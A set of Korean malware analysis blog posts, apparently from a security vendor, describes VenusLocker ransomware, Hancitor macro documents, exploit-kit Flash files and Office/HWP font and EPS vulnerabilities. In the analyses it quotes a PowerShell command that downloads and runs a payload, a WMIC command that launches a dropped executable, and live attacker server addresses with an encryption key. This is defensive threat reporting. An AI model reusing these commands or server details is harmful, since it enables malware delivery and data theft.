최근 국내 관공서 등에 사회공학적 기법을 이용한 VenusLocker 랜섬웨어가 유포되고 있다. 해당 랜섬웨어는 주로 스팸메일을 이용하며 첨부된 악성 문서 파일을 통해 드롭 or 다운로드되거나 문서 파일로 가장하여 유포되기도 한다. 

따라서 사용자는 메일 내부의 첨부 파일 실행 시 의도된 파일이 맞는지, 신뢰할 수 있는 내용인지에 대한 확인이 필요하다.


VenusLocker 는 실행 시 대상 PC 의 모든 드라이브를 탐색하여 조건에 맞는 암호화 대상 파일을 선정, 이후 AES 알고리즘을 사용하여 파일을 암호화 시키는데 전제 동작 방식은 [그림 1] 과 같다.

[그림 1] VenusLocker 유포 및 동작 방식


스팸메일 본문에는 의미 있는 내용을 담고 있으며 사용자로 하여 의심 없이 첨부된 파일을 실행시키게끔 유도한다.

[그림 2] 스팸메일 본문


스팸메일에 따라 다양한 형태의 첨부 파일을 가지고 있으며, [그림 3] 처럼 악성 매크로를 포함한 워드 문서 파일의 경우 본문에서 사용자의 매크로 실행을 유도하며 이를 통해 VenusLocker 랜섬웨어를 드롭 or 다운로드 받아 실행시킨다.

[그림 3] 악성 매크로를 포함한 문서 파일


매크로는 난독화 되어 있으며 매크로에 따라 내부에 하드코딩된 주소에서 랜섬웨어를 다운로드 받거나 드롭한다.

[그림 4] 난독화된 매크로


 최근에는 문서 파일을 통한 간접 실행이 아닌 스팸메일에 직접 실행 파일을 첨부하는 형태도 확인되었으며, 이 경우에도 파일명과 확장자를 통해 문서 파일로 위장하고 있는 것을 알 수 있다.

[그림 5] 스팸메일에 직접 첨부된 랜섬웨어


따라서 다음과 같이 유포 방식의 변화를 추정할 수 있다.

[표 1] 유포 방식의 변화


VenusLocker 랜섬웨어는 다음과 같은 기능 및 특징을 가진다.


1. 감염 화면 및 파일 생성

실행 시 [그림 6] 과 같은 화면을 통해 사용자에게 감염 사실을 알리며 복구를 위해 500 달러에 해당 하는 비트코인을 요구한다. 또한 사용자 PC 의 바탕화면에 'ReadMe.txt' 를 생성하며 감염 사실 및 복구 절차에 대한 자세한 내용을 담고 있다.

[그림 6] 감염 화면


화면 종료 시 다음과 같은 팝업 창을 통해 경고문을 띄운다.

[그림 7] 종료 시 팝업 메시지

 

[그림 8] 사용자 PC 바탕화면에 생성되는 ReadMe.txt


2. 가상환경 체크

분석을 회피하기 위해 WMI (Windows Management Instrumentation) 서비스를 이용하여 'Virtual PC', 'VMware Workstation', 'Virtual Box' 등과 같은 가상환경을 체크하며 해당될 경우 프로그램을 종료한다.

[그림 9] 가상환경 체크


3. 날짜 비교

하드코딩된 기준 날짜와 비교하여 현재 시스템의 날짜가 이전일 경우만 실행된다. [그림 10] 의 경우 기준 날짜가 '2017-09-30' 이지만 [표 2] 와 같이 VenusLocker 랜섬웨어마다 다양한 값을 가진다.

[그림 10] 날짜 비교


[표 2] 다양한 기준 날짜


4. 사용자 정보 전송

사용자 PC 정보 (OS, Language, Time, PC name, User name 등) 를 수집하여 공격자 서버로 전송하며, 해당 정보를 조합한 값의 해시값으로 User ID 를 생성한다.

[그림 11] 사용자 정보 전송


[표 3] 사용자 정보 전송 주소


5. 키 생성

사용자 정보 전송이 성공하면 AES 암호화를 위한 키 값을 생성하며, 정보 전송 실패 시 [표 4] 의 하드코딩된 키 값을 사용한다.

[그림 12] 키 생성


[표 4] 내부 키 값


6. 암호화 대상 파일 확인

모든 로컬 드라이브내의 폴더를 검색하여 다음과 같이 암호화 대상 파일을 정한다.

1) 확장자

asf, gif, avi, pbf, dvx, wmmp, ink, cbr, tbz2, xwd, dvi, now, adr, pdf, bmp, wav, ra, evo, wmx, ini, cbz, tg, abw, dxe, odm, ap, xls, ppt, mp4, raw, flv, wvx, jif, gz, tlz, act, mlx, oft, aro, docx, pptx, pdd, saf, qtq, xvid, iff, gzig, vsi, adt, err, pwi, asa, xlsx, docm, php, val, tch, 3d, jpc, jgz, wad, aim, euc, rng, ascx, mp3, xlsm, aac, wave, rts, 3d4, jpf, pak, war, ans, faq, rtx, ashx, waw, pps, ac3, wow, rum, 3df8, jpw, pcv, xpi, asc, fdr, run, asmx, jpg, ppsx, amf, wpk, rv, pbs, mag, puz, z02, ase, fds, ssa, asp, jpeg, ppd, amr, 3g2, scn, adi, mic, rev, z04, bdp, gthr, text, indd, txt, eps, dwg, 3gp, srt, ais, mip, sdn, zap, bdr, idx, unx, asr, rtf, png, dxf, 3gp2, stx, amu, msp, sen, zipx, bib, kwd, wbk, qbb, doc, ace, accdb, 3mm, svi, arr, nav, sfs, zoo, boc, lp2, wsh, bml, rar, djvu, mod, amx, swf, bmc, ncd, sfx, ipa, crd, ltr, 7z, cer, zip, tar, tax2013, avs, trp, bmf, odc, sh, isu, diz, man, arc, cms, psd, cdr, tax2014, bik, vdo, cag, odi, shar, jar, dot, mbox, ari, crt, tif, max, oga, dir, wm, cam, opf, shr, js, dotm, msg, arj, dap, wma, wmv, ogg, divx, wmd, dng, qif, sqx, udf, dotx, nfo, car, htm, adr, ff, utc, ctt, sds, dpl, mxp, bak, rw2, aaf, ppam, sr2, jc, ap, gam, utx, dal, sql, dpr, oxt, odt, r3d, aep, sldx, bay, potm, aro, grf, uvx, ddc, stt, dsk, qpx, pst, ptx, aepx, sldm, crw, ppsm, asa, h3m, uxx, ddcx, tcx, dsp, qtr, log, pef, plb, class, cr2, prc, ascx, h4r, vmf, dex, thmx, eql, xla, mpg, srw, prel, db, dcr, prt, ashx, iwd, vtf, dif, txd, ex, xlam, mpeg, x3f, prproj, pdb, kdc, shw, asmx, ldb, w3g, dii, txf, f90, xll, odb, der, eat, dat, erf, std, asp, lgp, w3x, itdb, upoi, fla, xlv, wps, pem, ppj, csv, mef, ver, indd, lvl, wtd, itl, vmt, for, xpt, xlk, pfx, indl, xml, mrw, wpl, asr, map, wtf, kmz, wks, fpp, cfg, mdb, p12, indt, spv, nef, xlm, qbb, md3, ccd, lcd, wmdb, jav, cwf, dxg, p7b, indb, grle, nrw, yps, bml, mdl, cd, lcf, xl, java, dbb, wpd, p7c, inx, sv5, orf, 1cd, cer, nds, cso, mbx, xlc, lbi, slt, wb2, jfif, idml, game, raf, bck, cms, pbp, disk, mdn, xlr, owl, bp2, dbf, exif, pmd, slot, rwl, html, crt, ppf, dmg, odf, xlsb, pl, bp3, ai, docb, xqx, yab, tpu, dcu, dap, pwf, dvd, odp, xltx, plc, bpl, 3fr, xlt, svg, aip, tpx, dev, htm, pxp, fcd, ods, ltm, pli, clr, arw, xltm, as3, amxx, tu, dob, moz, sad, flp, pab, xlwx, pm, dbx, srf, xlw, as, ape, tur, dox, svr, sav, img, pkb, mcd, res, cp, qel, sdb, snp, api, vc, dpk, url, scm, isz, pkh, cap, rsrc, cpp, rgn, sdc, bkf, usa, uax, col, wdgt, scx, mdf, pot, cc, so, cs, rrt, adpb, ade, usx, umx, cty, abk, sdt, mds, potx, cod, swd, csi, rsw, dic, vcd, ut2, unr, dem, bic, spr, nrg, pptm, psa, qdf, dcp, rte, cch, vhd, ut3, uop, elf, big, sud, nri, blp, bsp, cgf, chk


2) 예외 폴더

Program Files, Microsoft Chart Controls, Windows NT, Program Files (x86), Microsoft Games, Windows Media Player, Windows, Microsoft Office, Windows Mail, Python27, Microsoft.NET,   NVIDIA Corporation, Python34, MicrosoftBAF, Adobe, AliWangWang, MSBuild, IObit, Avira, QQMailPlugin, AVAST Software, wamp, Realtek, CCleaner, Avira, Skype, AVG, 360, Reference Assemblies, Mozilla Firefox, ATI, Tencent, VirtualDJ, Google, USB Camera2, TeamViewer, Intel, WinRAR, ICQ, Internet Explorer, Windows Sidebar, java, Kaspersky Lab, Windows Portable Devices, Yahoo!, Microsoft Bing Pinyin, Windows Photo Viewer


3) 시스템 파일 및 '숨김' 속성을 가진 파일 제외


7. AES 암호화 (파일)

파일이 6. 의 모든 조건을 충족하면 5. 의 과정을 통해 생성된 키 값을 이용하여 AES 암호화를 수행한다. 이때 추가 확장자 검사를 수행하여 하기 확장자에 해당하는 파일일 경우 파일 전체 암호화 및 암호화된 파일명에 '.Venusf' 확장자를 사용한다.

[그림 15] 와 같이 6. 의 모든 조건을 충족하지만 하기 확장자에 해당하는 파일이 아닐 경우 파일의 일부만 암호화 (512 or 1024 Bytes, 랜섬웨어마다 상이) 를 수행하며 암호화된 파일명에 '.Venusp' 확장자를 사용한다.

파일명은 Base64 인코딩을 사용하여 암호화한다.

[전체 암호화 대상 리스트]

txt, cc, docb, doc, xlw, xlsx, jar, potx, ini, h, wps, dot, ppt, xlsm, csv, potm, php, cs, msg, docx, pot, xltx, xml, ppam, html, log, xls, docm, pps, xltm, dwg, ppsx, css, pl, xlt, dotx, pptx, xlsb, dxf, ppsm, py, java, xlm, dotm, pptm, xla, asp, sldx, c, cpp, wpd, rtf, xll, xlam, class, sldm


[그림 13] 파일 암호화


[그림 14] 원본 파일(좌), 암호화된 파일(우)


[그림 15] 일부만 암호화된 파일 (확장자 '.Venusp')


8. RSA 암호화 (키)

4. 의 사용자 정보 전송이 성공하여 AES 암호화에 사용되는 키 값을 생성한 경우, 내부에 하드코딩된 공개키 값을 이용하여 RSA 암호화를 수행한다. 이후 암호화된 키 값을 User ID 와 함께 공격자 서버로 전송한다.

[그림 16] RSA 암호화 (키) 및 전송


[표 5] 암호화된 키 값 전송 주소


랜섬웨어의 특성상 완벽한 복구 방법이나 예방법은 없지만 피해를 최소화하기 위해서 항상 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 중요하다.

또한 신뢰할 수 없는 출처의 메일 등의 첨부 파일 실행 시 사용자의 각별한 주의가 필요하다.

현재 V3 에서는 VenusLocker 랜섬웨어를 다음과 같은 진단명으로 진단하고 있다.

- Trojan/Win32.VenusLocker (2016.12.26.08)


# 추가 확인 사항 (Update : 2017.02.22)

최근 발견된 VenusLocker 랜섬웨어는 한글 파일 (확장자 '.hwp') 을 대상으로 하고 있으며, 다음과 같은 변형 파일도 확인되었다.

1. '[표 4] 내부 키 값' 변경 : zyQCCu4MI*4T=v!YP4oe9S5hbcoTGb8A

2. '[표 2] 기준 날짜' : 2017-04-01

3. '[표 3] 사용자 정보 전송 주소' : http://185.106.122.2/create.php

4. '[표 5] 암호화된 키 값 전송 주소' : http://185.106.122.2/keysave.php

5. 본문 7. 의 암호화된 파일 확장자

1) 인코딩된 파일명에 '\' 문자가 포함될 경우 : '.VenusLfS', '.VenusLpS' ('부분' 암호화 파일)

2) 인코딩된 파일명에 '\' 문자가 포함되지 않을 경우 : '.VenusLf', '.VenusLp' ('부분' 암호화 파일)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

최근 Microsoft Office Word 문서 파일 내부의 사용자 정의 폼을 이용한 악성코드가 스팸 메일과같은 사회적 공학 기법 (Social Engineering) 을 이용하여 유포되고 있으므로 사용자의 각별한 주의가 필요하다.


해당 악성코드는 VBA (Visual Basic for Applications, Microsoft Office 응용프로그램의 확장을 위한 프로그래밍 언어) 매크로를 이용하여 사용자 정의 폼 내부 암호화된 쉘코드(Shellcode)와 내부에 숨겨진 악성 실행 파일을 통해 정상 프로세스에 인젝션(Injection)하여 악성 행위를 수행한다.

[그림 1] Flowchart


Word 문서 파일을 열면 본문의 이미지를 통해 사용자의 매크로 실행을 유도한다.

[그림 2] 본문 이미지


VBA Editor 내부의 VBA Project 를 통해 [그림 3] 과 같은 매크로와 사용자 정의 폼을 확인할 수 있다. 여기서 사용자 정의 폼이란 체크 박스’, ‘라디오 버튼’, ‘텍스트 박스등과 같이 응용프로그램과 사용자의 상호작용을 위해 사용자가 직접 작성하는 컨트롤들을 의미한다.

[그림 3] 매크로와 사용자 정의 폼


매크로는 [그림 4] 와 같이 암호화된 쉘코드를 복호화 후 실행하기 위해 사용자 정의 폼 내의 TabStrip 컨트롤에 접근한다.

[그림 4] TabStrip 컨트롤을 이용하는 매크로


쉘코드에 해당하는 데이터는 Word 문서 파일 압축 해제 시 생성되는 바이너리 파일 내부에서도 확인 가능하다.

[그림 5] 암호화된 쉘코드


매크로 코드는 [그림 4] 에서 가져온 데이터를 복호화하는 작업을 수행하는데, 해당 작업을 도식화하면 [그림 6] 과 같다.

[그림 6] 쉘코드 복호화 과정


매크로는 모듈 내부의 ‘RtlMoveMemory’, ‘VirtualAllocEx’, ‘EnumTimeFormatsW’ API 를 사용하여 복호화된 쉘코드를 실행시키며, 쉘코드는 [그림 7] 과 같이 Word 프로세스 메모리 영역 안에서 특정 마커(Marker)를 비교하는 루틴을 통해 암호화된 악성 실행 파일의 위치를 찾게 된다.

(이와 같은 기법을 흔히 에그 헌팅 (egg hunting) 이라 부르며 에그 헌팅이란 에그 헌터에 해당하는 최초 쉘코드를 통해 특정 마커와 같은 태그를 가진 실제 메인 코드를 찾아 실행시키는 일련의 과정들을 의미한다)

[그림 7] 특정 마커를 찾는 루틴(), 해당 마커가 포함된 데이터(아래)


쉘코드는 특정 마커를 가진 메모리 영역을 발견하면 [그림 8] 과 같은 코드를 통해 마커 뒷 부분에 존재하는 데이터를 1차 복호화한다.

[그림 8] 1차 복호화(), 복호화 후 생성되는 데이터(아래)


[그림 8] 에서 생성된 데이터를 2차 복호화인 Base64 디코딩 과정을 거치면 실제 악성 행위를 수행하는 실행 파일을 확인할 수 있다.

[그림 9] Base64 디코딩 과정을 통해 생성된 실행 파일 (일부)


이후 쉘코드는 생성된 실행 파일을 정상 프로세스에 인젝션 하기 위한 준비를 한다.


현재 실행되고 있는 OS 환경이 32비트이면 "%windir%\explorer.exe", 64비트이면 "%windir%\SysWOW64\svchost.exe" 파일을 CreateProcessA API 를 사용하여 Suspend 모드로 실행, 이후 인젝션 행위를 수행한다.

[그림 10] 인젝션 대상 프로세스 (64비트(), 32비트(아래))


정상 프로세스로 위장하기 위한 인젝션이 성공하면 악성코드는 감염 PC 의 사용자, 시스템 정보등을 C&C 주소로 전송하며, 해당 주소로부터 명령을 받아 파일 다운로드, 추가 인젝션 행위 등을 수행한다.

[그림 11] 인젝션된 파일이 수행하는 악성 행위


[그림 12] C&C 주소 (일부)


서두에서 언급한 것과 같이 해당 악성 파일은 스팸 메일을 통해 유포되는 경우가 많으며, Word 문서 파일 내부의 이미지를 통해 사용자로 하여금 큰 의심 없이 매크로를 실행시키도록 유도하므로 출처를 알 수 없는 메일의 첨부 파일 실행을 삼가고 확인되지 않은 문서 파일 내부의 매크로를 실행하는데 있어서 주의가 필요하다.

해당 유형의 악성코드는 V3 제품에서 다음과 같은 이름으로 진단하고 있다.

W97M/Hancitor (2016.11.24.07)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

지난 랜섬웨어 다운로드 목적의 플래시파일 (SunDown EK)’ (http://asec.ahnlab.com/1048) 글에서 소개한 것처럼 Exploit Kit (Exploit Kit - 웹 서버에서 동작하는 공격용 소프트웨어, 이하 EK) 을 통해 유포되는 플래시 파일 중 내부에 암호화된 플래시 파일을 가지고 있는 유형에 대해서 소개하고자 한다.

해당 플래시 파일 역시 랜섬웨어 다운로드 목적일 것으로 추정된다.


플래시 파일 내부 구조와 ActionScript (AS, 플래시에서 사용되는 스크립트 언어) [그림 1] 과 같다.

[그림 1] 플래시 파일 구조와 스크립트 코드


스크립트 코드는 파일 실행 시 내부의 암호화된 데이터를 복호화하며 과정은 [그림 2] 와 같다.

[그림 2] 내부 데이터 복호화 과정


특이한 점은 [그림 2] 과정에 해당하는 스크립트 코드가 [그림 3] 에서 보이는 것처럼 정상 파싱(parsing)이 되지 않는다는 것이다.

[그림 3] 정상 파싱이 되지 않은 스크립트 코드


[그림 3] 의 코드는 단순 XOR 연산이 아닌 [그림 4] 와 같은 과정을 거치며 복호화 후에는 압축된 형태의 플래시 파일을 확인할 수 있다. (플래시 파일 시그니처 ‘CWS’ : zlib 라이브러리를 사용하여 압축)

[그림 4] [그림 3] 에 해당하는 XOR 연산 과정


실제 악성코드 실행 과정에서는 내부 파일이 메모리 내에서 복호화 되어 실행되므로 파일로 생성되지 않아 직접 확인할 수는 없으며, 메모리 덤프 확인 시 [그림 5] 와 같은 플래시 파일을 확인할 수 있다.

[그림 5] 복호화 후 생성된 플래시 파일 구조 및 스크립트


이처럼 최근 악성 플래시 파일 중에서는 EK 를 통해 유포되며, 내부에 쉘코드(Shellcode)나 또 다른 악성 파일을 가지고 있는 경우가 많다.

따라서 사용자는 확인되지 않은 사이트나 불필요한 사이트의 접근을 삼가고 항상 최신 버전의 윈도우 보안 패치 및 V3 백신 프로그램을 최신 업데이트 상태로 유지하는 것이 필요하다.

V3 에서는 해당 유형의 악성 플래시 파일을 다음과 같은 이름으로 진단하고 있다.

SWF/Exploit (2016.09.02.00)

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

2016 11 8, Microsoft 에서 OpenType 폰트 취약점 관련하여 보안패치를 배포하였다. (MS16-132, CVE-2016-7256) 해당 취약점은 국내에서 최초 발견 및 보고된 것으로 피해를 예방하기 위해 아래의 보안패치를 적용하는 것이 필요하다.

[보안패치] https://technet.microsoft.com/ko-kr/library/security/mt674627.aspx

 

OpenType 폰트는 Microsoft Adobe 가 함께 개발한 폰트 형식으로, .otf 또는 .ttf 확장자를 갖는다. 폰트의 모양새를 결정하는 데이터가 Compact Font Format (CFF) 형식인지 TrueType 형식인지에 따라 파일의 시작부분 첫 4 바이트의 값이 달라지는데, 아래의 [그림 1]과 같이 CFF 형식의 OpenType 폰트는 0x4F54544F("OTTO"), TrueType 형식의 OpenType 폰트는 0x00010000 의 값을 갖는다.

이번에 발견된 취약점 폰트의 경우 파일 첫 4 바이트가 "OTTO" 로 시작되는, CFF 데이터 형식의 OpenType 폰트이다.

[그림 1] CFF 형식() TrueType 형식(아래)


OpenType 폰트의 구조는 [그림 2]와 같이 Offset Table Table Record 그리고 다수의 Table 데이터로 구성된다. Offset Table(0x0C 크기)에는 폰트의 종류 및 Table 의 개수 정보가 존재한다. 또한, Table 마다 Table Record(0x10 크기)가 존재하고, Table Record에는 Table 의 이름, 크기, 시작위치, 체크섬이 표기되어 있다. 

Table Record에 표기된 위치를 따라가면 각각의 Table 데이터가 존재하는데, 8개의 필수 테이블(cmap, head, hhea, hmtx, maxp, name, OS/2, post)과 더불어 해당 OpenType 폰트의 종류에 따라 추가 테이블이 존재한다. CFF 형식일 경우에는 CFF, CFF2, VORG 등의 테이블이, TrueType 형식의 경우에는 cvt, fpgm, glyf, loca 등이 여기에 해당한다.

 

[그림 2] OpenType 폰트 구조

 

해당 취약점 악용 폰트의 경우, 내부에 CFF 형식의 데이터를 포함하며 따라서 CFF 라는 이름의 테이블이 존재한다. 해당 테이블 내부에서 Adobe 에서 정의한 스펙(Adobe Technical Note #5176)을 따르지 않는 구조가 발견되었으며, 이로 인해 취약점이 발생하고 공격자가 임의의 코드를 실행할 수 있는 것으로 확인되었다.

취약점이 발생하는 CFF 테이블 데이터의 내부 구조는 [그림 3]과 같다. 4 바이트 크기의 헤더부분(0x01000403) 이후에 등장하는 것은 Name INDEX 부분이며, Adobe의 스펙을 따르지 않는 내용은 다음과 같다.

  [*] Name INDEX 의 폰트명의 길이는 127 바이트 이하 (취약점파일: 0x2C0)

[그림 3] CFF 테이블의 취약점 발생부분

 

폰트 파일을 처리하는 Windows 내부 모듈인 ATMFD.DLL 에서는 이와 관련하여, 폰트명이 실제 127 바이트 이상인지 여부를 확인하는 경계 체크 부분이 존재하지 않는 것으로 파악되었으며, 이로 인해 해당 영역의 데이터를 복사할 때 초과되는 범위의 데이터가 함께 복사되어 이후 취약점 발생에 영향을 주는 것으로 확인하였다.

 

2016118Microsoft 에서 해당 취약점에 대한 패치를 배포 하였으므로, Windows 를 사용하는 모든 사용자는 최신 업데이트를 적용할 것이 권장된다. 또한 외부로부터 전달된 의심스러운 형태의 폰트파일(*.OTF) 또는 문서파일에 대해서는 가급적 실행하지 않는 것이 권장된다.

 

V3 에서는 해당 폰트 취약점 유형의 샘플을 다음과 같은 이름으로 진단하고 있다.

OTF/Cve-2016-7256 (2016.10.29.00)

 

[참고자료]

Microsoft 보안 공지 MS16-132:
https://technet.microsoft.com/ko-kr/library/security/ms16-132.aspx

CVE-2016-7256:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7256

OpenType Font Specification:
https://www.microsoft.com/typography/otspec/otff.htm

Compact Font Format Specification:
https://partners.adobe.com/public/developer/en/font/5176.CFF.pdf

신고
Creative Commons License
Creative Commons License
Posted by disruption

최근 ‘Cerber’ 이름의 랜섬웨어를 다운로드 받는 악성 플래쉬(Flash) 파일이 다량으로 유포되고 있어 사용자의 주의가 요구된다. 

본 글에서는 이러한 플래쉬 파일에서 2차 악성 실행파일을 다운로드 하기 위해 쉘코드(Shell Code)를 사용하는 사례를 소개한다.

[그림 1]과 같이 irrcrpt 이름의 함수를 사용해 암호화 되어 있는 문자열 데이터(“FC590101”)를 복호화 하면 [그림 2]와 같은 쉘코드를 확인할 수 있다. 

쉘코드의 주요 기능은 2차 실행파일 다운로드이며, 다운로드 URL 주소 부분을 제외하고 쉘코드는 모두 동일한 형태를 갖는다.

 

[그림 1] SWF 내부 코드

[그림 2] Shell Code 일부


 쉘코드는 JMP 코드(0xEB)로 시작하며, 악성 코드를 동작하기 위해 필요한 DLL을 로드(load) 한다. 

사용할 DLL을 [그림 3]과 같이 쉘코드 내부에 고정된 형태로 갖고있다.


[그림 3] DLL 이름과 주소

 

실제 다운로드 URL 주소의 예는 다음과 같다.

-       http://**2.1**.*0*.**9/c**ef****a*******8**********1**

-       http://1**.**6.1**.**8/*****2*******5***********6******


다운로드 받은 파일은 감염 시스템의 %TEMP%경로에 “a.exe”이름으로 저장된다.

C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\a.exe

[1] 다운로드 경로


다운로드 받은 파일을 실행하기 위해 “WMIC.EXE”의 아래와 같은 명령을 사용한다.

C:\WINDOWS\system32\wbem\wmic.exe process call create

"cmd /c start C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\a.exe

[2] 실행 방법


현재 V3에서는 SWF/Cve-2016-1019, SWF/Exploit으로 진단하고 있다.

신고
Creative Commons License
Creative Commons License
Posted by 이보원

최근 ‘Locky’, ‘Cerber’ 와 같은 랜섬웨어를 다운로드 받아 실행하는 플래시 파일 (Adobe Flash File)이 유포되고 있어 사용자의 주의를 요하고 있다.


그 중 ‘SunDown’ 익스플로잇 킷트 (Exploit Kit - 웹 서버에서 동작하는 공격용 소프트웨어, 이하 EK) 에 의해 유포되는 플래시 파일에 대한 내용을 소개하면 다음과 같다.


해당 EK 의 주요 공격 대상은 Adobe Flash Player, Internet Explorer, SilverLight 취약점이며, 파라미터를 통해 Base64 인코딩된 쉘코드 및 악성코드 다운로드 URL 을 전달 받아 랜섬웨어를 다운로드 하는 기능을 가지고 있다.


본문의 플래시 파일 또한 동일한 기능을 가지고 있으며, 추가로 플래시 파일 내부 (DefineBinaryData) 에 암호화된 데이터가 존재하여 복호화 시 또 다른 악성 플래시 파일을 확인할 수 있다.


[그림 1] 에서 Type 1 Type 2 모두 동일한 유형이나 Type 1 의 경우 쉘코드를 복호화 하기 위한 Base64 클래스를 가지고 있다. (Type 2 의 경우 쉘코드가 암호화 되어 있지 않음) 

[그림 1] ‘SunDown’ EK 로 유포되는 플래시 파일들 (동일 유형)


복호화 루틴도 동일하지만 초기 키 값의 전달 방식에 따라 나뉘어진다. (스크립트 내부 하드 코딩() or DefineBinaryData 의 마지막 값())

[그림 2] 데이터 복호화 시 사용되는 루틴


[그림 2] 의 루틴을 이용하여 [그림 3] 의 암호화된 데이터를 복호화 후 [그림 4] 와 같은 새로운 플래시 파일을 생성한다.

[그림 3] 암호화된 DefineBinaryData (일부)


[그림 4] 복호화 후 생성된 플래시 파일들


플래시 파일 내에서 사용되는 스크립트 언어인 AS (ActionScript) 내부에는 [그림 5] 와 같이 Base64 인코딩된 쉘코드가 존재하며 (Type 1), 쉘코드는 다운로드 URL 로부터 악성코드를 다운로드 받아와 실행시키는 흐름을 보인다.

[그림 5] Base64 로 인코딩된 쉘코드 (Type 1)


악성코드 다운로드 URL 의 경우 쉘코드 내부에 저장되어 있거나 (Type 2), Flash 파라미터(exec) 를 통해 전달받는다.

[그림 6] 다운로드 URL 을 전달 받는 파라미터(exec) (Type 1)


다운로드된 악성 파일은 %temp% 경로에 ‘x.tmp’, ‘z.tmp’ 등의 파일명으로 생성되어 실행된다.

http://[서버주소]/z.php?id=152 (134, 135) 

[그림 7] 쉘코드 내부의 다운로드 URL


해당 플래시 파일은 V3 제품에서 ‘SWF/Sundown.Gen’, ‘SWF/Exploit’ 등의 진단명으로 진단 가능하다.

신고
Creative Commons License
Creative Commons License
Posted by jaemin.song

최근 Microsoft Office 문서와 한글 파일 내에 삽입된 EPS (Encapsulated PostScript) 개체의 취약점을 이용한 악성코드가 유포되어 사용자의 주의가 요구된다.

 

EPS (Encapsulated PostScript) 는 화면상에 그래픽 요소를 출력하는 용도로 제작된 Adobe 스크립트 언어로캡슐화된 형태를 통해 특정 개체 내에 삽입이 가능하다.

지난 2015년 해당 EPS 파일에서 발견된 CVE-2015-2545 취약점은 Microsoft Office 문서파일을 열 경우 악성코드 제작자가 제작한 임의의 코드를 실행 가능하도록 하며이후 사용자 시스템의 정보유출추가 악성코드 다운로드 등의 악의적인 기능을 수행하는 형태가 발견되고 있다.

 

해당 취약점은 EPS 파일을 처리하는 특정 모듈 내에서 발생하며메모리상에서 이미 해제된 위치를 참조하는 UAF (User-After-Free) 기법을 사용한다각 문서 포맷 별 EPS 처리모듈은 아래 [-1] 과 같다.

종류

취약점 발생 파일명

Microsoft Office

EPSIMP32.FLT

HWP

gswin32c.exe

[-1] 문서포맷 별 EPS 취약점 발생 파일명


해당 악성코드는 주로 이메일에 첨부된 문서파일 형태로 유포되며운송장이나 영수증과 같은 메일제목을 포함하고 있다사용자는 출처가 불분명한 이메일의 첨부파일은 열어보지 않도록 각별한 주의가 필요하며, [-2] 의 최신 업데이트 패치를 통해 취약점을 통한 악성코드 실행 공격을 예방할 수 있다.

종류

최신 업데이트 링크

Microsoft Office

https://support.microsoft.com/ko-kr/kb/3054993

HWP

http://www.hancom.com/cs_center/csDownload.do


[-2] 문서 뷰어 프로그램 별 최신 업데이트 링크

 

지난 10 24일 국내에서 수집된 악성코드는 Microsoft Office 워드문서로 제작되었으며아래 [그림-1] 과 같이 문서파일 내 CVE-2015-2545 취약점이 존재하는 EPS 개체가 포함되어 있다

[그림-1] Office 문서 구조의 EPS 취약점 개체가 포함된 위치

 

해당 문서 실행 시 [그림-2] 와 같이 영수증 스캔 내용이 화면에 출력되나 실제로는 취약점을 통해 악성코드 제작자가 삽입한 실행 코드가 수행된다.

[그림-2] EPS 취약점 개체가 삽입된 Office 문서의 실행화면

 

해당 문서 내 삽입된 EPS 파일에서 취약점을 발생시키는 구문은 [그림-3] 과 같으며특정 데이터 값을 메모리상에 로드하고 참조하는 과정을 통해 악성코드 제작자가 의도한 특정 메모리 영역의 코드를 실행한다.

[그림-3] EPS 파일 내 취약점 발생구간

 

취약점이 실행된 이후 사용자 시스템의 %Temp% 경로에 "igfxe.exe" 파일명으로 추가 악성코드를 생성하며파일 내 존재하는 특정 URL에서 악성코드를 다운로드 한다.

다운로드 방식은 Windows Vista 이상의 운영체제에서 기본으로 지원하는 PowerShell.exe 프로세스를 통해 실행하며아래 [-3] 과 같이 PowerShell.exe 인자값으로 사용자 명령을 입력하여 악성코드를 다운로드 하도록 한다.

cmd.exe /c "PowerShell (New-Object System.Net.WebClient).DownloadFile('https://[다운로드URL]\[파일명.exe],'[파일명].exe');(New-Object -com Shell.Application).ShellExecute('[파일명].exe');"

[-3] PowerShell 을 이용한 악성코드 다운로드

 

취약점을 통해 생성된 igfxe.exe 파일은 V3에서 Trojan/Win32.ZBot.C1534517 로 진단한다.

 

또한, Microsoft Office 문서뿐 아니라 국내에서 사용되는 한글 오피스를 대상으로도 동일한 EPS 취약점 문서파일이 제작되고 있다. 기존에는 한글문서 자체의 구조적 취약점을 악용한 악성코드가 제작된 것에 비해최근에는 한글문서 이외의 모듈상에 존재하는 취약점을 한글문서에 삽입함으로써 다양한 형태로의 취약점 공격이 시도되고 있다.

 

해당 EPS 개체가 삽입된 위치는 한글 문서 구조상에서 [그림-4] 와 같이 BinData 폴더 내부에 존재하며해당 폴더는 한글 문서 내에서 처리하는 이미지 파일 및 미디어 개체가 포함되는 위치이다.

[그림-4] 한글 문서 구조 내 EPS 취약점 개체가 삽입된 위치 (BIN0001.eps)

 

최근 국내에서 접수된 한글문서는 [그림-5] 와 같이 특정 이슈사항에 대한 내용을 포함하며특정인이나 특정 기관을 대상으로 이메일 첨부파일을 통해 유포하는 것으로 추정된다.

이메일에 첨부된 한글 문서파일은 사용자로 하여금 관심을 갖도록 하는 이슈와 관련되며문서 실행 후에는 최초 실행한 문서파일을 정상문서로 덮어씀으로써 이후 사용자가 감염사실을 인지하지 못하도록 한다.

[그림-5] EPS 취약점 개체가 삽입된 한글문서 실행 화면

 

취약점 한글파일 및 다운로드 된 추가 악성코드 파일은 V3에서 HWP/Exploit, TextImage/Shellcode 로 진단한다.

 

최근 EPS 취약점 개체를 이용한 형태로 다양한 종류의 문서 파일이 악의적으로 제작되고 있으며이를 통한 백도어 및 추가 악성코드의 2차 감염이 진행되고 있다.

현재 Microsoft 및 한컴에서는 해당 취약점에 대한 보안패치를 제공하였으며, 해당 문서 파일을 사용하는 시스템에서는 프로그램을 최신 버전으로 업데이트하여 이와 같은 취약점 공격에 대비하여야 한다

또한, 발신자가 불명확한 의심스러운 이메일에 첨부된 문서파일은 열어보지 않도록 각별한 주의가 요구된다

 

[참고]

Microsoft 보안 공지 MS15-099 - 긴급

https://technet.microsoft.com/ko-kr/library/security/ms15-099.aspx

